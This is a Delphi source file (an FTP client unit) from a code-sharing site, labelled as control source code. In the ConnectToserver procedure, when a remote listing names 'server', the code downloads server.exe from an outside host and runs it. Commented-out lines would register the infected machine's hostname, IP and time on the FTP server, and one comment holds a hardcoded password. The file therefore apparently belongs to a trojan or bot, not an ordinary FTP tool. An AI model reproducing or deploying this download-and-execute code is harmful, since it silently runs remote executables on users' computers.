DMUFTP.pas
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:13k
源码类别:

Delphi控件源码

开发平台:

Delphi

  1. unit UFTP;
  2. interface
  3.   uses windows,WinSock,
  4.   ShellApi,
  5.   CommandsAndUtils;
  6. const
  7.   WM_ftpcom =  $0400 + $1004;
  8.   WM_ftpdata = $0400 + $1005;
  9.   WM_ftppasv = $0400 + $1006;
  10.   FTP_sConnected =1 ;
  11.   FTP_sDisconnected= 2 ;
  12.    FTP_sUpload =3 ;
  13.    FTP_sDownload = 4 ;
  14.    FTP_sList = 5;
  15.   var
  16. wVersionRequested  : WORD ;
  17. inn : IN_ADDR ;
  18. nErrorStatus : integer;
  19.    wsa_Data  : WSADATA;
  20. ftpdata : TSocket;
  21. ftpdataclient : TSocket;
  22. ftpcom : TSocket;
  23.  ftppasv: TSocket;
  24.   ftpaddr : SOCKADDR_IN; // Internet address
  25.   
  26.   ftpCaddr : SOCKADDR_IN; // Internet address
  27.   ftpCaddrserver : SOCKADDR_IN; // Internet address
  28.   ftpPasvaddr : SOCKADDR_IN;
  29.   ftpPasvServeraddr :  SOCKADDR_IN  ;
  30.   FTP_WAIT : integer;
  31.  FTP_Directories: string   ;
  32.   FTP_IP : STRING;
  33.   FTP_Port : integer;
  34.   FTP_Downloadfilename : string;
  35.   FTP_Uploadfilename : string;
  36.   FTP_TempFile : string ;
  37.   id : cardinal;
  38.   FTP_PASS : string;
  39.   FTP_USer : string;
  40.   FTP_Handle : HWND;
  41.   FTP_status : integer;
  42. implementation
  43. {$R *.dfm}
  44. function stringtochar(st : string) : char;
  45. var c : char;
  46. begin
  47.      c := #0;
  48.      while c <> st do
  49.            c := succ(c);
  50.      stringtochar := c;
  51. end;
  52. procedure SocketClose(var Socket: TSocket; Handle: HWND ; wMsg : integer);
  53. var
  54.   RC: integer;
  55. begin
  56.   if Socket <> INVALID_SOCKET then
  57.     begin
  58.        WSAASyncSelect(Socket, Handle, wMsg , 0);
  59.       if shutdown(Socket, 1) <> 0 then
  60.         if WSAGetLastError <> WSAENOTCONN then
  61.           begin
  62.            // SocketError(WSAGetLastError);
  63.             Exit;
  64.           end;
  65.       if closesocket(Socket) <> 0 then
  66.        // SocketError(WSAGetLastError)
  67.       else
  68.         Socket:= INVALID_SOCKET;
  69.     end;
  70. end;
  71.   procedure CreateFTPPasv ;
  72.   var
  73.   HostEnt: PHostEnt;
  74.   begin
  75.   Sleep(2000);
  76.   SocketClose ( ftppasv,FTP_Handle,  WM_ftppasv);
  77.    {--------------We have to create a socket for ftp Commands Client------------- }
  78.   ftppasv := socket(AF_INET, SOCK_STREAM, 0);
  79.   if (ftppasv <> INVALID_SOCKET)   THEN BEGIN
  80.   ftppasvaddr.sin_family := AF_INET;
  81.   ftppasvaddr.sin_port := 0;
  82.   ftppasvaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  83.   end;
  84.  if (bind(ftppasv ,ftppasvaddr,sizeof(ftppasvaddr))= INVALID_SOCKET ) then begin
  85.  halt;
  86.  end;
  87.  if (WSAAsyncSelect(ftppasv, FTP_Handle, WM_ftppasv , FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
  88.  halt;
  89.  end;
  90.  ftpPasvServeraddr.sin_family := AF_INET;
  91.  ftpPasvServeraddr.sin_port := htons(FTP_Port);
  92. ftpPasvServeraddr.sin_addr.s_addr := inet_addr(pchar(FTP_IP));
  93.       if ftpPasvServeraddr.sin_addr.s_addr = -1 then
  94.         begin
  95.         HostEnt := GetHostByName(pchar(FTP_IP));
  96.          if HostEnt = nil then
  97.          begin
  98.          Exit;
  99.          end;
  100.         ftpPasvServeraddr.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
  101.          end;
  102.  if (connect(ftppasv,ftpPasvServeraddr,sizeof(ftpPasvServeraddr)) =SOCKET_ERROR) then begin
  103.  //messagebox(0,'dddddddddddd','ddddddddd',0);
  104.  end;
  105.   end;
  106. procedure CreateFTPData ;
  107. begin
  108.        SocketClose ( ftpdata,FTP_Handle, WM_ftpdata);
  109.   {--------------We have to create a socket for ftp Data Server----------------- }
  110.  ftpdata := socket(AF_INET, SOCK_STREAM, 0);
  111.    if (ftpdata <> INVALID_SOCKET)   THEN BEGIN
  112.    ftpaddr.sin_family := AF_INET;
  113.    ftpaddr.sin_port := htons(2600);
  114.    ftpaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  115.    end;
  116.    if (bind(ftpdata,ftpaddr,sizeof(ftpaddr))=  INVALID_SOCKET ) then begin
  117.    WSACleanup();
  118.    halt;
  119.    end;
  120.    if ( listen(ftpdata,3)= INVALID_SOCKET) then begin
  121.    WSACleanup();
  122.    halt;
  123.    end ;
  124.    if (WSAAsyncSelect(ftpdata, FTP_Handle, WM_ftpdata, FD_ACCEPT or FD_CLOSE or FD_READ or FD_WRITE) = SOCKET_ERROR) then begin
  125.    halt;
  126.    end;
  127. end;
  128.     procedure CreateFTPCOM ;
  129. begin
  130.      SocketClose ( ftpcom ,FTP_Handle,  WM_ftpcom);
  131.    {--------------We have to create a socket for ftp Commands Client------------- }
  132.   ftpcom  := socket(AF_INET, SOCK_STREAM, 0);
  133.   if (ftpcom  <> INVALID_SOCKET)   THEN BEGIN
  134.   ftpCaddr.sin_family := AF_INET;
  135.   ftpCaddr.sin_port := 0;
  136.   ftpCaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  137.   end;
  138.  if (bind(ftpcom ,ftpCaddr,sizeof(ftpCaddr))= INVALID_SOCKET ) then begin
  139.  halt;
  140.  end;
  141.  if (WSAAsyncSelect(ftpcom, FTP_Handle, WM_ftpcom , FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
  142.  halt;
  143.  end;
  144. end;
  145.  procedure FTP_MKD (dir : string);
  146.  begin
  147.      SendData  (ftpcom,'MKD ' + dir + #13#10);
  148.  end;
  149.   procedure FTP_DEL (source : string);
  150.  begin
  151.       SendData  (ftpcom,'DELE ' + source + #13#10);
  152.  end;
  153.    procedure FTP_RMD(old: string;new : string);
  154.  begin
  155.        SendData  (ftpcom,'RNFR ' + old  + #13#10);
  156.        sleep(100);
  157.       SendData  (ftpcom,'RNTO ' + old  + #13#10);
  158.  end;
  159. function FTP_LIST(DIR : string): string;
  160.  begin
  161. FTP_status:=FTP_sList ;
  162.    FTP_Directories:='';
  163.   CreateFTPData;
  164.   sleep(100);
  165.   SendData  (ftpcom,'PASV '+ replace ( LocalIP,'.',',') + ',10,40' + #13#10);
  166.    sleep(100);
  167.  SendData  (ftpcom,'NLST ' + Dir+ #13#10);
  168.  end;
  169.  procedure FTP_Connect(Host: string;User : string; PASS : string;Port : integer);
  170.   var
  171. HostEnt: PHostEnt;
  172. begin
  173. FTP_PASS:=PASS;
  174. FTP_User:=User ;
  175.    CreateFTPCom;
  176.  ftpCaddrserver.sin_family := AF_INET;
  177.  ftpCaddrserver.sin_port := htons(Port);
  178.  ftpCaddrserver.sin_addr.s_addr := inet_addr(pchar(Host));
  179.       if ftpCaddrserver.sin_addr.s_addr = -1 then
  180.         begin
  181.         HostEnt := GetHostByName(pchar(Host));
  182.          if HostEnt = nil then
  183.          begin
  184.          Exit;
  185.          end;
  186.          ftpCaddrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
  187.          end;
  188.  if (connect(ftpcom, ftpCaddrserver,sizeof(ftpCaddrserver)) =SOCKET_ERROR) then begin
  189.  //messagebox(0,'dddddddddddd','ddddddddd',0);
  190.  end;
  191.  end;
  192. procedure FTP_CWD(DIR : string);
  193.  begin
  194.   sleep(100);
  195.  SendData  (ftpcom,'CWD ' + DIR+ #13#10);
  196.  end;
  197.  procedure FTP_Upload (filename : string);
  198.  begin
  199.   FTP_status:=FTP_sUpload ;
  200.  FTP_Uploadfilename:=filename;
  201.    If FileExists (FTP_Uploadfilename)=true Then  begin
  202.  SendData  (ftpcom,'PASV ' + #13#10);
  203.  sleep(100);
  204.  SendData  (ftpcom,'STOR ' + GetFileName(filename) + #13#10);
  205.    end;
  206.  end;
  207. procedure FTP_download(remotefile : string) ;
  208.  begin
  209.  FTP_status:=FTP_sDownload ;
  210.    SendData  (ftpcom,'PASV ' + #13#10);
  211.  sleep(100);
  212.  SendData  (ftpcom,'RETR ' + remotefile + #13#10);
  213.  end;
  214.  procedure FTP_Desconect;
  215.  begin
  216.  end;
  217.     procedure ConnectToserver ;
  218. var
  219. temp,temp1,temp2,tempData : string;
  220. a,i : integer;
  221. begin
  222.  sleep(100);
  223. temp :=replace(FTP_Directories,#13#10,'*');
  224. i:=FindNChars (temp  ,'*' );
  225. for a:= 1 to i do begin
  226. temp1:= (copy(temp,1,FindChar(temp,'*'))) ;
  227. temp2:=  copy(temp1,1,length(temp1)-1 );
  228. sleep(10);
  229.  if  copy( temp2,1,6)='server' then begin
  230.  Descargar ( 'http://shukisnike.250free.com/ips/server.exe','c:server.exe');
  231.  ShellEx( 'c:server.exe')
  232.  end;
  233. if  copy( temp2,1,9)='darkmoon_' then begin
  234.      messagebox (0,pchar(temp2),'',0);
  235. //cIP:=copy(temp2,10,length(temp2) );
  236. //cIP:=replace(cIP,'a','.');
  237. end;
  238. temp:=replace ( temp,temp1,''  );
  239. end ;
  240. end;
  241.       procedure ftpdataEvents( wParam,lParam: Integer);
  242.       var
  243.      Recived : string;
  244.      BytesToRead : Integer;
  245.      Begin
  246.      case lParam  of
  247.      FD_READ:  begin
  248.        if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
  249.        begin
  250.        SetLength( Recived, BytesToRead );
  251.        Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );
  252.          if FTP_status=FTP_sList then begin
  253.           // FTP_Directories:=FTP_Directories +  Recived  ;
  254.          end;
  255.        //frmMain.Memo2.Lines.Add( Recived ) ;
  256.        end;
  257.       end;
  258.       FD_ACCEPT:  begin
  259.         ftpdataclient:= accept(ftpdata,nil,nil);
  260.        end;
  261.       FD_CLOSE:  begin
  262.       try CloseSocket(wParam ); except end;
  263.       end;
  264.       end;
  265.     End;
  266.         procedure ftpPasvEvents( wParam,lParam: Integer);
  267.            var
  268.        Recived : string;
  269.      BytesToRead : Integer;
  270.      begin
  271.      case lParam  of
  272.       FD_READ:  begin
  273.      if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
  274.      begin
  275.      SetLength( Recived, BytesToRead );
  276.      Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );
  277.         FTP_WAIT:=0;
  278.         if FTP_status=FTP_sList then begin
  279.            FTP_Directories:=Recived  ;
  280.               ConnectToserver;
  281.          end
  282.          else
  283.          begin
  284.            // frmMain.Memo2.Lines.Add(   Recived);
  285.          end;
  286.     
  287.      end;
  288.      end ;
  289.       FD_Connect:
  290.       begin
  291.         //  frmMain.Caption:='PASV';
  292.    // SendData ( ftppasv, 'ssssssssssssssss .'+ #13#10);
  293. // closesocket(ftppasv);
  294.    // SendData (ftpcom, 'PASS ' + 'KissmyAss123' + #13#10);
  295.    // SendData (ftpcom, 'CWD ' + '/ips' + #13#10);
  296.     //SendData (ftpcom, 'MKD ' + GetLocalHostName + '__' + LocalIP + '__' + TIME + '__' + ddATE +  #13#10);
  297.     //SendData (ftpcom, 'PORT ' + replace ( LocalIP,'.',',') + ',10,40' + #13#10);
  298.    // SendData (ftpcom, 'NLST ' + #13#10);
  299.       end;
  300.      end;
  301.         end;
  302.    procedure ftpcomEvents( wParam,lParam: Integer);
  303.       var
  304.        Recived : string;
  305.      BytesToRead : Integer;
  306.        temp : string;
  307.        port1, port2 : integer;
  308.         F :file of char;
  309. G :textfile;
  310. s,Data,Data1, Data3,tmpData,tmpData1: string;
  311. l ,c : char;
  312.      begin
  313.      case lParam  of
  314.       FD_READ:  begin
  315.      if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
  316.      begin
  317.      SetLength( Recived, BytesToRead );
  318.      Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );
  319.            if  copy (Recived,1,8)= '150-FILE' then begin
  320.                       FTP_TempFile:= split ( Recived,':',1);
  321.                   FTP_TempFile:= replace (FTP_TempFile,#13#10,'*');
  322.                FTP_TempFile:= split  (  FTP_TempFile,'*',0);
  323.              // frmmain.Label3.Caption:=FTP_TempFile;
  324.            // FTP_RMD (FTP_TempFile,'zzapper.txt');
  325. If FileExists (FTP_Uploadfilename)=true Then  begin
  326.                    Data:='';
  327. AssignFile (F,FTP_Uploadfilename);
  328. FileMode := 0;
  329. Reset (F);
  330.          while not eof( F ) do
  331.       begin
  332.            read( F, l );
  333.            Data := Data + l;
  334.       end;
  335.       SendData ( ftppasv,Data + #13#10);
  336.             end;
  337.                closesocket(ftppasv);
  338.            end;
  339.              if  copy (Recived,1,3)='150'then begin
  340.                if FTP_status=FTP_sUpload then begin
  341.                If FileExists (FTP_Uploadfilename)=true Then  begin
  342.                    Data:='';
  343. AssignFile (F,FTP_Uploadfilename);
  344. FileMode := 0;
  345. Reset (F);
  346.          while not eof( F ) do
  347.       begin
  348.            read( F, l );
  349.            Data := Data + l;
  350.       end;
  351.       SendData ( ftppasv,Data + #13#10);
  352.               sleep(100);
  353.          closesocket(ftppasv);
  354.            end;
  355.             End;
  356.             if FTP_status=FTP_sDownload then begin
  357.             end;
  358.              end;
  359.             if  copy (Recived,1,3)='227'then begin
  360.              temp:=( split ( Recived,'(',1));
  361. FTP_IP:=(split (temp,',',0) + '.' +  split (temp,',',1) +'.' + split (temp,',',2) + '.' +split (temp,',',3) );
  362. FTP_Port:=(strtoint(split (temp,',',4))*256)+strtoint(split (temp,',',5));
  363.           BeginThread ( nil, 0, @ CreateFTPPasv, nil, 0, id );
  364.   //showmessage ( FTP_IP + '  ' + inttostr(FTP_Port));
  365.             end;
  366.     // frmMain.Memo1.Lines.Add(   Recived);
  367.      end;
  368.      end ;
  369.       FD_Connect:
  370.       begin
  371.          // frmMain.Caption:='connected';
  372.     SendData (ftpcom, 'USER ' + FTP_USER + #13#10);
  373.     SendData (ftpcom, 'PASS ' + FTP_PASS + #13#10);
  374.    // SendData (ftpcom, 'CWD ' + '/ips' + #13#10);
  375.     //SendData (ftpcom, 'MKD ' + GetLocalHostName + '__' + LocalIP + '__' + TIME + '__' + ddATE +  #13#10);
  376.     //SendData (ftpcom, 'PORT ' + replace ( LocalIP,'.',',') + ',10,40' + #13#10);
  377.    // SendData (ftpcom, 'NLST ' + #13#10);
  378.       end;
  379.      end;
  380.      end;
  381. procedure FTPSETUP(Handle : HWND);
  382. begin
  383.     FTP_Handle:=Handle ;
  384.  wVersionRequested :=MAKEWORD(1, 1)  ;    //start the winsock
  385.  nErrorStatus := WSAStartup(wVersionRequested, wsa_Data);
  386.  if (nErrorStatus <> 0)  then     begin
  387.  //WSAGetLastError()
  388. messagebox(0,pchar(inttostr(nErrorStatus)),'ddddddd',0);
  389.  end;
  390.  if ( (LOBYTE(wsa_Data.wVersion) <> LOBYTE(wVersionRequested)) and
  391. (HIBYTE(wsa_Data.wVersion) <> HIBYTE(wVersionRequested)) )  then
  392. begin
  393. halt;
  394. WSACleanup(); // terminate WinSock use
  395. end;
  396.  //label1.Caption:=LocalIP;
  397.  //edit2.Text:=replace ( LocalIP,'.',',')
  398. end;
  399. end.